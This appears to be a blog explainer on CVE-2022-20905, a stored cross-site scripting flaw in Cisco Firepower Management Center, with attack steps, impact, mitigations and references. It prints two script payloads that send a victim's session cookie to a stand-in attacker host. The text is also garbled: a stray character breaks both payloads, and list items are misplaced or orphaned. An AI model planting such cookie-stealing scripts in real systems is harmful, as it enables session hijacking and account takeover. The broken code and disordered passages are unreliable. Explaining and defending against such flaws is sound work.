CVE-2022-20905 is a notable security vulnerability that affects Cisco’s Firepower Management Center (FMC) Software. This issue centers around multiple stored cross-site scripting (XSS) vulnerabilities found in FMC’s web-based management interface. If exploited, these flaws can allow a malicious, authenticated, remote attacker to execute arbitrary scripts in a victim's browser or even access sensitive information—potentially leading to a wider compromise.

In this post, I’ll break down how this vulnerability works, provide code snippets demonstrating the exploit, and share links to official sources and advisories. This overview is crafted in simple, clear language to make it accessible to everyone, not just security professionals.

What is CVE-2022-20905?

CVE-2022-20905 refers to a group of vulnerabilities in Cisco Firepower Management Center’s web interface. In short, the interface doesn’t properly check—or sanitize—the information users put into various fields. This lack of validation paves the way for stored XSS attacks.

Why does this matter?

A stored XSS attack involves a hacker placing malicious JavaScript code into a system’s data field—like a comment box or settings field—that then gets executed when someone else views the page. For Cisco FMC, this could mean:

1. Attacker Authenticates to the Interface

First, the attacker needs a valid account on the affected Cisco FMC device. This can be a low-privilege user, due to the nature of stored XSS.

2. Insert Malicious Input

The attacker locates a vulnerable input field—these could be places where administrators enter names, descriptions, or notes for rules, objects, or reports.

Malicious Payload Example

<script>
  // Steals session cookie and sends to attacker's server
  fetch("https://evil.example.com/steal?cookie="; + document.cookie);
</script>

The attacker pastes this code into the field. Since the FMC interface fails to properly filter out this kind of content, it gets saved directly into the system’s database.

3. Victim Views the Crafted Data

Later, a legitimate user (potentially with higher privileges) browses to the affected section of the dashboard. When their browser loads the page, it renders and runs the attacker's script.

Send that data to an external server (data exfiltration)

- Perform any actions the user is allowed to do, including configuration changes (if the victim is an admin)

Below is a basic example demonstrating insertion and triggering of a stored XSS payload

<!-- Malicious input in FMC 'Rule Description' field -->
<script>
    fetch("https://evil.example.com/grab?c="; + encodeURIComponent(document.cookie))
</script>

How it works:
- This code, when rendered, fetches the current user's cookie and sends it to the attacker's listening server.
- The attacker simply inserts this <script> tag into any field that is later rendered by other users.

Real-World Impact

- Confidentiality: Attackers can access sensitive browser-based information, including session tokens that might enable access to the FMC interface without login.
- Integrity: The attacker can perform actions in the user’s context—changing configurations, modifying rules, or adding/removing users.
- Availability: Exploit can, in some cases, crash or disrupt parts of the FMC dashboard, causing temporary loss of access to key features.

Official References

- Cisco Security Advisory for CVE-2022-20905
- NVD Entry for CVE-2022-20905

Mitigation Steps

- Upgrade to the latest fixed version of Cisco FMC as soon as possible (see Cisco’s update guidance here).
- Practice the principle of least privilege—do not give more FMC access than users absolutely need.
- Restrict FMC web interface exposure to trusted networks only—never expose it to the public internet.
- Train users to recognize suspicious activity and avoid clicking unknown links or popups in the management interface.

Conclusion

CVE-2022-20905 serves as a classic reminder that cross-site scripting vulnerabilities can have severe consequences, even in “internal” management portals like Cisco FMC. By failing to properly validate user input, the door is opened for attackers to steal data, hijack sessions, or disrupt operations. Patch promptly, restrict access, and keep an eye on your endpoints—because, as this case shows, web-based management interfaces are a favorite target.


Learn More:  
- Cisco Official Advisory (CVE-2022-20905)  
- Cisco FMC Release Notes

*Stay secure. Patch fast. And always validate user input!*

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/18/2022 18:13:00 UTC